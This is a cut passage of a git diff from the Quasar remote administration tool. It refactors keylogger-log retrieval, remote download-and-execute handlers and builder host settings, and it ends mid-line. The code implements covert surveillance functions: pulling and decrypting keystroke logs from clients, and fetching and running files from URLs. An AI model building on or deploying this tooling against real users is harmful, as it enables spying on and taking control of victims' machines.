Quasar.Common.Messages { [ProtoContract] - public class DoRemoteExecution : IMessage + public class DoProcessStart : IMessage { [ProtoMember(1)] public string DownloadUrl { get; set; } diff --git a/Quasar.Common/Messages/GetKeyloggerLogs.cs b/Quasar.Common/Messages/GetKeyloggerLogsDirectory.cs similarity index 62% rename from Quasar.Common/Messages/GetKeyloggerLogs.cs rename to Quasar.Common/Messages/GetKeyloggerLogsDirectory.cs index 430b4a6cd..c3c0f45ae 100644 --- a/Quasar.Common/Messages/GetKeyloggerLogs.cs +++ b/Quasar.Common/Messages/GetKeyloggerLogsDirectory.cs @@ -3,7 +3,7 @@ namespace Quasar.Common.Messages { [ProtoContract] - public class GetKeyloggerLogs : IMessage + public class GetKeyloggerLogsDirectory : IMessage { } } diff --git a/Quasar.Common/Messages/DoRemoteExecutionResponse.cs b/Quasar.Common/Messages/GetKeyloggerLogsDirectoryResponse.cs similarity index 50% rename from Quasar.Common/Messages/DoRemoteExecutionResponse.cs rename to Quasar.Common/Messages/GetKeyloggerLogsDirectoryResponse.cs index 51f59ee63..fa8d092ce 100644 --- a/Quasar.Common/Messages/DoRemoteExecutionResponse.cs +++ b/Quasar.Common/Messages/GetKeyloggerLogsDirectoryResponse.cs @@ -3,9 +3,9 @@ namespace Quasar.Common.Messages { [ProtoContract] - public class DoRemoteExecutionResponse : IMessage + public class GetKeyloggerLogsDirectoryResponse : IMessage { [ProtoMember(1)] - public bool Success { get; set; } + public string LogsDirectory { get; set; } } } diff --git a/Quasar.Common/Messages/GetKeyloggerLogsResponse.cs b/Quasar.Common/Messages/GetKeyloggerLogsResponse.cs deleted file mode 100644 index 635e9c21e..000000000 --- a/Quasar.Common/Messages/GetKeyloggerLogsResponse.cs +++ /dev/null @@ -1,29 +0,0 @@ -using ProtoBuf; - -namespace Quasar.Common.Messages -{ - [ProtoContract] - public class GetKeyloggerLogsResponse : IMessage - { - [ProtoMember(1)] - public string Filename { get; set; } - - [ProtoMember(2)] - public byte[] Block { get; set; } - - [ProtoMember(3)] - public int MaxBlocks { get; set; } - - [ProtoMember(4)] - public int CurrentBlock { get; set; } - - [ProtoMember(5)] - public string CustomMessage { get; set; } - - [ProtoMember(6)] - public int Index { get; set; } - - [ProtoMember(7)] - public int FileCount { get; set; } - } -} diff --git a/Quasar.Server/Build/Renamer.cs b/Quasar.Server/Build/Renamer.cs index a6bf6932f..bdbe8270a 100644 --- a/Quasar.Server/Build/Renamer.cs +++ b/Quasar.Server/Build/Renamer.cs @@ -1,9 +1,9 @@ -using System; +using Mono.Cecil; +using Quasar.Common.Utilities; +using System; using System.Collections.Generic; using System.Linq; using System.Text; -using Mono.Cecil; -using Quasar.Common.Utilities; namespace Quasar.Server.Build { diff --git a/Quasar.Server/Forms/FrmBuilder.cs b/Quasar.Server/Forms/FrmBuilder.cs index 1e718548b..f00f220eb 100644 --- a/Quasar.Server/Forms/FrmBuilder.cs +++ b/Quasar.Server/Forms/FrmBuilder.cs @@ -11,6 +11,7 @@ using System.Text.RegularExpressions; using System.Threading; using System.Windows.Forms; +using Quasar.Common.DNS; namespace Quasar.Server.Forms { @@ -19,6 +20,7 @@ public partial class FrmBuilder : Form private bool _profileLoaded; private bool _changed; private readonly BindingList _hosts = new BindingList(); + private readonly HostsConverter _hostsConverter = new HostsConverter(); public FrmBuilder() { @@ -30,7 +32,7 @@ private void LoadProfile(string profileName) var profile = new BuilderProfile(profileName); _hosts.Clear(); - foreach (var host in HostHelper.GetHostsList(profile.Hosts)) + foreach (var host in _hostsConverter.RawHostsToList(profile.Hosts)) _hosts.Add(host); txtTag.Text = profile.Tag; @@ -67,7 +69,7 @@ private void SaveProfile(string profileName) var profile = new BuilderProfile(profileName); profile.Tag = txtTag.Text; - profile.Hosts = HostHelper.GetRawHosts(_hosts); + profile.Hosts = _hostsConverter.ListToRawHosts(_hosts); profile.Delay = (int) numericUpDownDelay.Value; profile.Mutex = txtMutex.Text; profile.InstallClient = chkInstall.Checked; @@ -254,7 +256,7 @@ private BuildOptions GetBuildOptions() options.Tag = txtTag.Text; options.Mutex = txtMutex.Text; - options.RawHosts = HostHelper.GetRawHosts(_hosts); + options.RawHosts = _hostsConverter.ListToRawHosts(_hosts); options.Delay = (int) numericUpDownDelay.Value; options.IconPath = txtIconPath.Text; options.Version = Application.ProductVersion; diff --git a/Quasar.Server/Forms/FrmKeylogger.cs b/Quasar.Server/Forms/FrmKeylogger.cs index c775c918d..59ac270ca 100644 --- a/Quasar.Server/Forms/FrmKeylogger.cs +++ b/Quasar.Server/Forms/FrmKeylogger.cs @@ -107,7 +107,7 @@ private void LogsChanged(object sender, string message) { RefreshLogsDirectory(); btnGetLogs.Enabled = true; - statusStrip.Text = "Status: " + message; + stripLblStatus.Text = "Status: " + message; } private void FrmKeylogger_Load(object sender, EventArgs e) @@ -132,7 +132,7 @@ private void FrmKeylogger_FormClosing(object sender, FormClosingEventArgs e) private void btnGetLogs_Click(object sender, EventArgs e) { btnGetLogs.Enabled = false; - statusStrip.Text = "Status: Retrieving logs..."; + stripLblStatus.Text = "Status: Retrieving logs..."; _keyloggerHandler.RetrieveLogs(); } diff --git a/Quasar.Server/Forms/FrmRemoteExecution.cs b/Quasar.Server/Forms/FrmRemoteExecution.cs index a2c0a279e..3e21fd506 100644 --- a/Quasar.Server/Forms/FrmRemoteExecution.cs +++ b/Quasar.Server/Forms/FrmRemoteExecution.cs @@ -1,4 +1,5 @@ -using Quasar.Common.Messages; +using Quasar.Common.Enums; +using Quasar.Common.Messages; using Quasar.Server.Helper; using Quasar.Server.Messages; using Quasar.Server.Models; @@ -15,7 +16,7 @@ public partial class FrmRemoteExecution : Form private class RemoteExecutionMessageHandler { public FileManagerHandler FileHandler; - public RemoteExecutionHandler ExecutionHandler; + public TaskManagerHandler TaskHandler; } /// @@ -44,7 +45,7 @@ public FrmRemoteExecution(Client[] clients) { var remoteExecutionMessageHandler = new RemoteExecutionMessageHandler { - FileHandler = new FileManagerHandler(client), ExecutionHandler = new RemoteExecutionHandler(client) + FileHandler = new FileManagerHandler(client), TaskHandler = new TaskManagerHandler(client) }; var lvi = new ListViewItem(new[] @@ -65,11 +66,11 @@ public FrmRemoteExecution(Client[] clients) private void RegisterMessageHandler(RemoteExecutionMessageHandler remoteExecutionMessageHandler) { // TODO handle disconnects - remoteExecutionMessageHandler.ExecutionHandler.ProgressChanged += SetStatusMessage; + remoteExecutionMessageHandler.TaskHandler.ProcessActionPerformed += ProcessActionPerformed; remoteExecutionMessageHandler.FileHandler.ProgressChanged += SetStatusMessage; remoteExecutionMessageHandler.FileHandler.FileTransferUpdated += FileTransferUpdated; MessageHandler.Register(remoteExecutionMessageHandler.FileHandler); - MessageHandler.Register(remoteExecutionMessageHandler.ExecutionHandler); + MessageHandler.Register(remoteExecutionMessageHandler.TaskHandler); } /// @@ -77,11 +78,11 @@ private void RegisterMessageHandler(RemoteExecutionMessageHandler remoteExecutio /// private void UnregisterMessageHandler(RemoteExecutionMessageHandler remoteExecutionMessageHandler) { - MessageHandler.Unregister(remoteExecutionMessageHandler.ExecutionHandler); + MessageHandler.Unregister(remoteExecutionMessageHandler.TaskHandler); MessageHandler.Unregister(remoteExecutionMessageHandler.FileHandler); remoteExecutionMessageHandler.FileHandler.ProgressChanged -= SetStatusMessage; remoteExecutionMessageHandler.FileHandler.FileTransferUpdated -= FileTransferUpdated; - remoteExecutionMessageHandler.ExecutionHandler.ProgressChanged -= SetStatusMessage; + remoteExecutionMessageHandler.TaskHandler.ProcessActionPerformed -= ProcessActionPerformed; } private void FrmRemoteExecution_Load(object sender, EventArgs e) @@ -94,7 +95,7 @@ private void FrmRemoteExecution_FormClosing(object sender, FormClosingEventArgs foreach (var handler in _remoteExecutionMessageHandlers) { UnregisterMessageHandler(handler); - handler.ExecutionHandler.Dispose(); + handler.TaskHandler.Dispose(); handler.FileHandler.Dispose(); } @@ -113,7 +114,7 @@ private void btnExecute_Click(object sender, EventArgs e) if (!txtURL.Text.StartsWith("http")) txtURL.Text = "http://" + txtURL.Text; - handler.ExecutionHandler.StartProcessFromWeb(txtURL.Text, _isUpdate); + handler.TaskHandler.StartProcessFromWeb(txtURL.Text, _isUpdate); } } else @@ -161,19 +162,20 @@ private void FileTransferUpdated(object sender, FileTransfer transfer) { var handler = (RemoteExecutionMessageHandler) lstTransfers.Items[i].Tag; - if (handler.FileHandler.Equals(sender as FileManagerHandler) || handler.ExecutionHandler.Equals(sender as RemoteExecutionHandler)) + if (handler.FileHandler.Equals(sender as FileManagerHandler) || handler.TaskHandler.Equals(sender as TaskManagerHandler)) { lstTransfers.Items[i].SubItems[(int) TransferColumn.Status].Text = transfer.Status; if (transfer.Status == "Completed") { - handler.ExecutionHandler.StartProcess(transfer.RemotePath, _isUpdate); + handler.TaskHandler.StartProcess(transfer.RemotePath, _isUpdate); } return; } } } + // TODO: update documentation /// /// Sets the status of the file manager. /// @@ -185,12 +187,28 @@ private void SetStatusMessage(object sender, string message) { var handler = (RemoteExecutionMessageHandler)lstTransfers.Items[i].Tag; - if (handler.FileHandler.Equals(sender as FileManagerHandler) || handler.ExecutionHandler.Equals(sender as RemoteExecutionHandler)) + if (handler.FileHandler.Equals(sender as FileManagerHandler) || handler.TaskHandler.Equals(sender as TaskManagerHandler)) { lstTransfers.Items[i].SubItems[(int) TransferColumn.Status].Text = message; return; } } } + + private void ProcessActionPerformed(object sender, ProcessAction action, bool result) + { + if (action != ProcessAction.Start) return; + + for (var i = 0; i < lstTransfers.Items.Count; i++) + { + var handler = (RemoteExecutionMessageHandler)lstTransfers.Items[i].Tag; + + if (handler.FileHandler.Equals(sender as FileManagerHandler) || handler.TaskHandler.Equals(sender as TaskManagerHandler)) + { + lstTransfers.Items[i].SubItems[(int)TransferColumn.Status].Text = result ? "Successfully started process" : "Failed to start process"; + return; + } + } + } } } diff --git a/Quasar.Server/Forms/FrmTaskManager.cs b/Quasar.Server/Forms/FrmTaskManager.cs index 80562e6c7..d54546d40 100644 --- a/Quasar.Server/Forms/FrmTaskManager.cs +++ b/Quasar.Server/Forms/FrmTaskManager.cs @@ -1,12 +1,13 @@ -using System; -using System.Collections.Generic; -using System.Windows.Forms; +using Quasar.Common.Enums; using Quasar.Common.Messages; using Quasar.Common.Models; using Quasar.Server.Controls; using Quasar.Server.Helper; using Quasar.Server.Messages; using Quasar.Server.Networking; +using System; +using System.Collections.Generic; +using System.Windows.Forms; namespace Quasar.Server.Forms { @@ -66,6 +67,7 @@ private void RegisterMessageHandler() { _connectClient.ClientState += ClientDisconnected; _taskManagerHandler.ProgressChanged += TasksChanged; + _taskManagerHandler.ProcessActionPerformed += ProcessActionPerformed; MessageHandler.Register(_taskManagerHandler); } @@ -75,6 +77,7 @@ private void RegisterMessageHandler() private void UnregisterMessageHandler() { MessageHandler.Unregister(_taskManagerHandler); + _taskManagerHandler.ProcessActionPerformed -= ProcessActionPerformed; _taskManagerHandler.ProgressChanged -= TasksChanged; _connectClient.ClientState -= ClientDisconnected; } @@ -106,14 +109,20 @@ private void TasksChanged(object sender, Process[] processes) processesToolStripStatusLabel.Text = $"Processes: {processes.Length}"; } - /// - /// Called whenever a result of a started process is received. - /// - /// The message handler which raised the event. - /// The result of the started process. - private void ProcessStarted(object sender, string result) + private void ProcessActionPerformed(object sender, ProcessAction action, bool result) { - processesToolStripStatusLabel.Text = $"{processesToolStripStatusLabel.Text} | {result}"; + string text = string.Empty; + switch (action) + { + case ProcessAction.Start: + text = result ? "Process started successfully" : "Failed to start process"; + break; + case ProcessAction.End: + text = result ? "Process ended successfully" : "Failed to end process"; + break; + } + + processesToolStripStatusLabel.Text = text; } private void FrmTaskManager_Load(object sender, EventArgs e) @@ -150,4 +159,4 @@ private void refreshToolStripMenuItem_Click(object sender, EventArgs e) _taskManagerHandler.RefreshProcesses(); } } -} \ No newline at end of file +} diff --git a/Quasar.Server/Helper/HostHelper.cs b/Quasar.Server/Helper/HostHelper.cs deleted file mode 100644 index d4ea44cd7..000000000 --- a/Quasar.Server/Helper/HostHelper.cs +++ /dev/null @@ -1,52 +0,0 @@ -using System.Collections.Generic; -using System.ComponentModel; -using System.Linq; -using System.Text; -using Quasar.Server.Models; - -namespace Quasar.Server.Helper -{ - public static class HostHelper - { - public static List GetHostsList(string rawHosts) - { - List hostsList = new List(); - - if (string.IsNullOrEmpty(rawHosts)) return hostsList; - - var hosts = rawHosts.Split(';'); - - foreach (var hostPart in from host in hosts where (!string.IsNullOrEmpty(host) && host.Contains(':')) select host.Split(':')) - { - if (hostPart.Length != 2 || hostPart[0].Length < 1 || hostPart[1].Length < 1) continue; // invalid, ignore host - - ushort port; - if (!ushort.TryParse(hostPart[1], out port)) continue; // invalid, ignore host - - hostsList.Add(new Host { Hostname = hostPart[0], Port = port }); - } - - return hostsList; - } - - public static string GetRawHosts(List hosts) - { - StringBuilder rawHosts = new StringBuilder(); - - foreach (var host in hosts) - rawHosts.Append(host + ";"); - - return rawHosts.ToString(); - } - - public static string GetRawHosts(BindingList hosts) - { - StringBuilder rawHosts = new StringBuilder(); - - foreach (var host in hosts) - rawHosts.Append(host + ";"); - - return rawHosts.ToString(); - } - } -} diff --git a/Quasar.Server/Messages/FileManagerHandler.cs b/Quasar.Server/Messages/FileManagerHandler.cs index 059fdae27..ede5e3aeb 100644 --- a/Quasar.Server/Messages/FileManagerHandler.cs +++ b/Quasar.Server/Messages/FileManagerHandler.cs @@ -102,7 +102,7 @@ private void OnFileTransferUpdated(FileTransfer transfer) { var handler = FileTransferUpdated; handler?.Invoke(this, (FileTransfer)t); - }, transfer); + }, transfer.Clone()); } /// @@ -130,6 +130,8 @@ private void OnFileTransferUpdated(FileTransfer transfer) /// private readonly string _baseDownloadPath; + private readonly TaskManagerHandler _taskManagerHandler; + /// /// Initializes a new instance of the class using the given client. /// @@ -139,6 +141,9 @@ public FileManagerHandler(Client client, string subDirectory = "") : base(true) { _client = client; _baseDownloadPath = Path.Combine(client.Value.DownloadDirectory, subDirectory); + _taskManagerHandler = new TaskManagerHandler(client); + _taskManagerHandler.ProcessActionPerformed += ProcessActionPerformed; + MessageHandler.Register(_taskManagerHandler); } /// @@ -147,8 +152,7 @@ message is FileTransferCancel || message is FileTransferComplete || message is GetDrivesResponse || message is GetDirectoryResponse || - message is SetStatusFileManager || - message is DoRemoteExecutionResponse; + message is SetStatusFileManager; /// public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender); @@ -176,9 +180,6 @@ public override void Execute(ISender sender, IMessage message) case SetStatusFileManager status: Execute(sender, status); break; - case DoRemoteExecutionResponse execResp: - Execute(sender, execResp); - break; } } @@ -186,7 +187,9 @@ public override void Execute(ISender sender, IMessage message) /// Begins downloading a file from the client. /// /// The remote path of the file to download. - public void BeginDownloadFile(string remotePath) + /// The local file name. + /// Overwrite the local file with the newly downloaded. + public void BeginDownloadFile(string remotePath, string localFileName = "", bool overwrite = false) { if (string.IsNullOrEmpty(remotePath)) return; @@ -196,15 +199,15 @@ public void BeginDownloadFile(string remotePath) if (!Directory.Exists(_baseDownloadPath)) Directory.CreateDirectory(_baseDownloadPath); - string fileName = Path.GetFileName(remotePath); - string downloadPath = Path.Combine(_baseDownloadPath, fileName); + string fileName = string.IsNullOrEmpty(localFileName) ? Path.GetFileName(remotePath) : localFileName; + string localPath = Path.Combine(_baseDownloadPath, fileName); int i = 1; - while (File.Exists(downloadPath)) + while (!overwrite && File.Exists(localPath)) { // rename file if it exists already - var newFileName = string.Format("{0}({1}){2}", Path.GetFileNameWithoutExtension(downloadPath), i, Path.GetExtension(downloadPath)); - downloadPath = Path.Combine(_baseDownloadPath, newFileName); + var newFileName = string.Format("{0}({1}){2}", Path.GetFileNameWithoutExtension(localPath), i, Path.GetExtension(localPath)); + localPath = Path.Combine(_baseDownloadPath, newFileName); i++; } @@ -212,8 +215,8 @@ public void BeginDownloadFile(string remotePath) { Id = id, Type = TransferType.Download, - LocalPath = downloadPath, - RemotePath = fileName, + LocalPath = localPath, + RemotePath = remotePath, Status = "Pending...", //Size = fileSize, TODO: Add file size here TransferredSize = 0 @@ -379,8 +382,7 @@ public void DeleteFile(string remotePath, FileType type) /// The remote path used for starting the new process. public void StartProcess(string remotePath) { - // TODO: change to remote execution handler - _client.Send(new DoRemoteExecution {FilePath = remotePath}); + _taskManagerHandler.StartProcess(remotePath); } /// @@ -437,7 +439,7 @@ private void Execute(ISender client, FileTransferChunk message) decimal progress = Math.Round((decimal) ((double) transfer.TransferredSize / (double) transfer.Size * 100.0), 2); transfer.Status = $"Downloading...({progress}%)"; - + OnFileTransferUpdated(transfer); } @@ -472,8 +474,8 @@ private void Execute(ISender client, FileTransferComplete message) { transfer.RemotePath = message.FilePath; // required for temporary file names generated on the client transfer.Status = "Completed"; - OnFileTransferUpdated(transfer); RemoveFileTransfer(transfer.Id); + OnFileTransferUpdated(transfer); } } @@ -487,6 +489,10 @@ private void Execute(ISender client, GetDrivesResponse message) private void Execute(ISender client, GetDirectoryResponse message) { + if (message.Items == null) + { + message.Items = new FileSystemEntry[0]; + } OnDirectoryChanged(message.RemotePath, message.Items); } @@ -495,9 +501,10 @@ private void Execute(ISender client, SetStatusFileManager message) OnReport(message.Message); } - private void Execute(ISender client, DoRemoteExecutionResponse message) + private void ProcessActionPerformed(object sender, ProcessAction action, bool result) { - OnReport(message.Success ? "Process started successfully" : "Process failed to start"); + if (action != ProcessAction.Start) return; + OnReport(result ? "Process started successfully" : "Process failed to start"); } /// @@ -549,6 +556,10 @@ protected override void Dispose(bool disposing) _activeFileTransfers.Clear(); } + + MessageHandler.Unregister(_taskManagerHandler); + _taskManagerHandler.ProcessActionPerformed -= ProcessActionPerformed; + _taskManagerHandler.Dispose(); } } } diff --git a/Quasar.Server/Messages/KeyloggerHandler.cs b/Quasar.Server/Messages/KeyloggerHandler.cs index 1d688af16..bfe68c81c 100644 --- a/Quasar.Server/Messages/KeyloggerHandler.cs +++ b/Quasar.Server/Messages/KeyloggerHandler.cs @@ -1,7 +1,8 @@ using Quasar.Common.Helpers; -using Quasar.Common.IO; using Quasar.Common.Messages; +using Quasar.Common.Models; using Quasar.Common.Networking; +using Quasar.Server.Models; using Quasar.Server.Networking; using System; using System.IO; @@ -16,9 +17,24 @@ public class KeyloggerHandler : MessageProcessorBase private readonly Client _client; /// - /// Path to the base download directory of the client. + /// The file manager handler used to retrieve keylogger logs from the client. /// - private readonly string _baseDownloadPath; + private readonly FileManagerHandler _fileManagerHandler; + + /// + /// The remote path of the keylogger logs directory. + /// + private string _remoteKeyloggerDirectory; + + /// + /// The amount of all running log transfers. + /// + private int _allTransfers; + + /// + /// The amount of all completed log transfers. + /// + private int _completedTransfers; /// /// Initializes a new instance of the class using the given client. @@ -27,11 +43,14 @@ public class KeyloggerHandler : MessageProcessorBase public KeyloggerHandler(Client client) : base(true) { _client = client; - _baseDownloadPath = Path.Combine(client.Value.DownloadDirectory, "Logs\\"); + _fileManagerHandler = new FileManagerHandler(client, "Logs\\"); + _fileManagerHandler.DirectoryChanged += DirectoryChanged; + _fileManagerHandler.FileTransferUpdated += FileTransferUpdated; + MessageHandler.Register(_fileManagerHandler); } /// - public override bool CanExecute(IMessage message) => message is GetKeyloggerLogsResponse; + public override bool CanExecute(IMessage message) => message is GetKeyloggerLogsDirectoryResponse; /// public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender); @@ -41,8 +60,8 @@ public override void Execute(ISender sender, IMessage message) { switch (message) { - case GetKeyloggerLogsResponse logs: - Execute(sender, logs); + case GetKeyloggerLogsDirectoryResponse logsDirectory: + Execute(sender, logsDirectory); break; } } @@ -52,57 +71,75 @@ public override void Execute(ISender sender, IMessage message) /// public void RetrieveLogs() { - _client.Send(new GetKeyloggerLogs()); + _client.Send(new GetKeyloggerLogsDirectory()); } - private void Execute(ISender client, GetKeyloggerLogsResponse message) + private void Execute(ISender client, GetKeyloggerLogsDirectoryResponse message) { - // 1. retrieve directory content - // 2. download each file + _remoteKeyloggerDirectory = message.LogsDirectory; + client.Send(new GetDirectory {RemotePath = _remoteKeyloggerDirectory}); + } - /*if (message.FileCount == 0) - { - OnReport("Ready"); - return; - } + private string GetDownloadProgress(int allTransfers, int completedTransfers) + { + decimal progress = Math.Round((decimal)((double)completedTransfers / (double)allTransfers * 100.0), 2); + return $"Downloading...({progress}%)"; + } - // don't escape from download directory - if (FileHelper.HasIllegalCharacters(message.Filename)) + private void DirectoryChanged(object sender, string remotePath, FileSystemEntry[] items) + { + if (items.Length == 0) { - // disconnect malicious client - client.Disconnect(); + OnReport("Ready"); return; } - if (!Directory.Exists(_baseDownloadPath)) - Directory.CreateDirectory(_baseDownloadPath); + _allTransfers = items.Length; + _completedTransfers = 0; + OnReport(GetDownloadProgress(_allTransfers, _completedTransfers)); - string downloadPath = Path.Combine(_baseDownloadPath, message.Filename + ".html"); - - var destFile = new FileSplitLegacy(downloadPath); + foreach (var item in items) + { + // don't escape from download directory + if (FileHelper.HasIllegalCharacters(item.Name)) + { + // disconnect malicious client + _client.Disconnect(); + return; + } - destFile.AppendBlock(message.Block, message.CurrentBlock); + _fileManagerHandler.BeginDownloadFile(Path.Combine(_remoteKeyloggerDirectory, item.Name), item.Name + ".html", true); + } + } - if (message.CurrentBlock + 1 == message.MaxBlocks) + private void FileTransferUpdated(object sender, FileTransfer transfer) + { + if (transfer.Status == "Completed") { try { - File.WriteAllText(downloadPath, FileHelper.ReadLogFile(downloadPath, _client.Value.AesInstance)); + _completedTransfers++; + File.WriteAllText(transfer.LocalPath, FileHelper.ReadLogFile(transfer.LocalPath, _client.Value.AesInstance)); + OnReport(_allTransfers == _completedTransfers + ? "Successfully retrieved all logs" + : GetDownloadProgress(_allTransfers, _completedTransfers)); } catch (Exception) { - OnReport("Failed to write logs"); - } - - if (message.Index == message.FileCount) - { - OnReport("Ready"); + OnReport("Failed to decrypt and write logs"); } - }*/ + } } protected override void Dispose(bool disposing) { + if (disposing) + { + MessageHandler.Unregister(_fileManagerHandler); + _fileManagerHandler.FileTransferUpdated -= FileTransferUpdated; + _fileManagerHandler.DirectoryChanged -= DirectoryChanged; + _fileManagerHandler.Dispose(); + } } } } diff --git a/Quasar.Server/Messages/RemoteExecutionHandler.cs b/Quasar.Server/Messages/RemoteExecutionHandler.cs deleted file mode 100644 index 47b48af62..000000000 --- a/Quasar.Server/Messages/RemoteExecutionHandler.cs +++ /dev/null @@ -1,63 +0,0 @@ -using Quasar.Common.Messages; -using Quasar.Common.Networking; -using Quasar.Server.Networking; - -namespace Quasar.Server.Messages -{ - public class RemoteExecutionHandler : MessageProcessorBase - { - /// - /// The client which is associated with this remote execution handler. - /// - private readonly Client _client; - - public RemoteExecutionHandler(Client client) : base(true) - { - _client = client; - } - - public override bool CanExecute(IMessage message) => message is DoRemoteExecutionResponse; - - public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender); - - public override void Execute(ISender sender, IMessage message) - { - switch (message) - { - case DoRemoteExecutionResponse execResp: - Execute(sender, execResp); - break; - } - } - - /// - /// Starts a new process remotely. - /// - /// The remote path used for starting the new process. - /// Decides whether the process is a client update. - public void StartProcess(string remotePath, bool isUpdate = false) - { - _client.Send(new DoRemoteExecution { FilePath = remotePath, IsUpdate = isUpdate }); - } - - /// - /// Downloads a file from the web and executes it remotely. - /// - /// The URL to download and execute. - /// Decides whether the file is a client update. - public void StartProcessFromWeb(string url, bool isUpdate = false) - { - _client.Send(new DoRemoteExecution { DownloadUrl = url, IsUpdate = isUpdate}); - } - - private void Execute(ISender client, DoRemoteExecutionResponse message) - { - OnReport(message.Success ? "Process started successfully" : "Process failed to start"); - } - - protected override void Dispose(bool disposing) - { - - } - } -} diff --git a/Quasar.Server/Messages/TaskManagerHandler.cs b/Quasar.Server/Messages/TaskManagerHandler.cs index 5469dc431..d03d9de0b 100644 --- a/Quasar.Server/Messages/TaskManagerHandler.cs +++ b/Quasar.Server/Messages/TaskManagerHandler.cs @@ -1,4 +1,5 @@ -using Quasar.Common.Messages; +using Quasar.Common.Enums; +using Quasar.Common.Messages; using Quasar.Common.Models; using Quasar.Common.Networking; using Quasar.Server.Networking; @@ -8,11 +9,12 @@ namespace Quasar.Server.Messages public class TaskManagerHandler : MessageProcessorBase { /// - /// Represents the method that will handle the result of a started process. + /// Represents the method that will handle the result of a process action. /// /// The message processor which raised the event. - /// The result of the process start. - public delegate void ProcessStartedEventHandler(object sender, string result); + /// The process action which was performed. + /// The result of the performed process action. + public delegate void ProcessActionPerformedEventHandler(object sender, ProcessAction action, bool result); /// /// Raised when a result of a started process is received. @@ -21,23 +23,24 @@ public class TaskManagerHandler : MessageProcessorBase /// Handlers registered with this event will be invoked on the /// chosen when the instance was constructed. /// - public event ProcessStartedEventHandler ProcessStarted; + public event ProcessActionPerformedEventHandler ProcessActionPerformed; /// /// Reports the result of a started process. /// - /// The result of the process start. - private void OnProcessStarted(string result) + /// The process action which was performed. + /// The result of the performed process action. + private void OnProcessActionPerformed(ProcessAction action, bool result) { SynchronizationContext.Post(r => { - var handler = ProcessStarted; - handler?.Invoke(this, (string)r); + var handler = ProcessActionPerformed; + handler?.Invoke(this, action, (bool)r); }, result); } /// - /// The client which is associated with this task manager handler. + /// The client which is associated with this remote execution handler. /// private readonly Client _client; @@ -50,42 +53,50 @@ public TaskManagerHandler(Client client) : base(true) _client = client; } - /// - public override bool CanExecute(IMessage message) => message is GetProcessesResponse || - message is DoRemoteExecutionResponse; + public override bool CanExecute(IMessage message) => message is DoProcessResponse || + message is GetProcessesResponse; - /// - public override bool CanExecuteFrom(ISender sender) => _client.Equals(_client); + public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender); - /// public override void Execute(ISender sender, IMessage message) { switch (message) { - case GetProcessesResponse proc: - Execute(sender, proc); - break; - case DoRemoteExecutionResponse execResp: + case DoProcessResponse execResp: Execute(sender, execResp); break; + case GetProcessesResponse procResp: + Execute(sender, procResp); + break; } } /// - /// Refreshes the current started processes. + /// Starts a new process remotely. /// - public void RefreshProcesses() + /// The remote path used for starting the new process. + /// Decides whether the process is a client update. + public void StartProcess(string remotePath, bool isUpdate = false) { - _client.Send(new GetProcesses()); + _client.Send(new DoProcessStart { FilePath = remotePath, IsUpdate = isUpdate }); } /// - /// Starts a new process given an application name. + /// Downloads a file from the web and executes it remotely. /// - /// The name or path of the application to start. - public void StartProcess(string applicationName) + /// The URL to download and execute. + /// Decides whether the file is a client update. + public void StartProcessFromWeb(string url, bool isUpdate = false) { - _client.Send(new DoRemoteExecution {FilePath = applicationName}); + _client.Send(new DoProcessStart { DownloadUrl = url, IsUpdate = isUpdate}); + } + + /// + /// Refreshes the current started processes. + /// + public void RefreshProcesses() + { + _client.Send(new GetProcesses()); } /// @@ -94,21 +105,22 @@ public void StartProcess(string applicationName) /// The process id to end. public void EndProcess(int pid) { - _client.Send(new DoProcessKill {Pid = pid}); + _client.Send(new DoProcessEnd { Pid = pid }); } - private void Execute(ISender client, GetProcessesResponse message) + private void Execute(ISender client, DoProcessResponse message) { - OnReport(message.Processes); + OnProcessActionPerformed(message.Action, message.Result); } - private void Execute(ISender client, DoRemoteExecutionResponse message) + private void Execute(ISender client, GetProcessesResponse message) { - OnProcessStarted(message.Success ? "Process started successfully" : "Process failed to start"); + OnReport(message.Processes); } protected override void Dispose(bool disposing) { + } } } diff --git a/Quasar.Server/Models/FileTransfer.cs b/Quasar.Server/Models/FileTransfer.cs index b62cd8f6d..e35f663b8 100644 --- a/Quasar.Server/Models/FileTransfer.cs +++ b/Quasar.Server/Models/FileTransfer.cs @@ -27,6 +27,19 @@ public bool Equals(FileTransfer other) string.Equals(RemotePath, other.RemotePath) && string.Equals(Status, other.Status); } + /// + /// Creates a new object that is a copy of the current instance. + /// + /// A new object that is a copy of this instance. + public FileTransfer Clone() + { + return new FileTransfer() + { + Id = Id, Type = Type, Size = Size, TransferredSize = TransferredSize, LocalPath = LocalPath, + RemotePath = RemotePath, Status = Status, FileSplit = FileSplit + }; + } + public static bool operator ==(FileTransfer f1, FileTransfer f2) { if (ReferenceEquals(f1, null)) diff --git a/Quasar.Server/Models/Host.cs b/Quasar.Server/Models/Host.cs deleted file mode 100644 index 40586e59a..000000000 --- a/Quasar.Server/Models/Host.cs +++ /dev/null @@ -1,23 +0,0 @@ -namespace Quasar.Server.Models -{ - public class Host - { - /// - /// Stores the hostname of the Host. - /// - /// - /// Can be an IPv4 address or hostname. IPv6 support not tested. - /// - public string Hostname { get; set; } - - /// - /// Stores the port of the Host. - /// - public ushort Port { get; set; } - - public override string ToString() - { - return Hostname + ":" + Port; - } - } -} From 547ab1feefb540b1766bab40325a85766f8fe6db Mon Sep 17 00:00:00 2001 From: MaxXor Date: Tue, 26 May 2020 23:05:32 +0200 Subject: [PATCH 177/229] Fix release build --- Quasar.Client/Config/Settings.cs | 4 +++- Quasar.Server/Build/Renamer.cs | 2 +- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/Quasar.Client/Config/Settings.cs b/Quasar.Client/Config/Settings.cs index 5a2a2d021..ccff23a9f 100644 --- a/Quasar.Client/Config/Settings.cs +++ b/Quasar.Client/Config/Settings.cs @@ -24,7 +24,7 @@ public static class Settings public static string MUTEX = "123AKs82kA,ylAo2kAlUS2kYkala!"; public static string STARTUPKEY = "Test key"; public static bool HIDEFILE = false; - public static bool ENABLELOGGER = true; + public static bool ENABLELOGGER = false; public static string ENCRYPTIONKEY = "-.)4>[=u%5G3hY3&"; public static string TAG = "DEBUG"; public static string LOGDIRECTORYNAME = "Logs"; @@ -63,6 +63,8 @@ public static bool Initialize() public static X509Certificate2 SERVERCERTIFICATE; public static bool HIDELOGDIRECTORY = false; public static bool HIDEINSTALLSUBDIRECTORY = false; + public static string INSTALLPATH = ""; + public static string LOGSPATH = 